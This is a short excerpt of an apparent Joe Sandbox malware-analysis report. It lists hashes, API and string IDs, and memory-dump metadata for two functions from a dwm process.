                                                                • API ID: __std_exception_copy
                                                                • String ID: ierarchy Descriptor'$riptor at (
                                                                • API String ID: 592178966-758928094
                                                                • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction ID: d87c72d6feb5b451596a3908019a492425672d55ae1ff2e9eb9df1cd03eca579
                                                                • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction Fuzzy Hash: D2E08671A41B48B0DF028F61F9503D873B0EB99B64F48D223995C06321FA3CD1E9C700
                                                                Function 000001D15B0273B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: Locator'$riptor at (
                                                                • API String ID: 592178966-4215709766
                                                                • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction ID: cff70dbdf84a858d82cb1fdd1be3e040a7768ffdd0e42611e270bd927392c639
                                                                • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction Fuzzy Hash: BFE08671A01B48B0DF018F61E5502D87370FB99B54F88D223C94C06321EA3CD1E9C700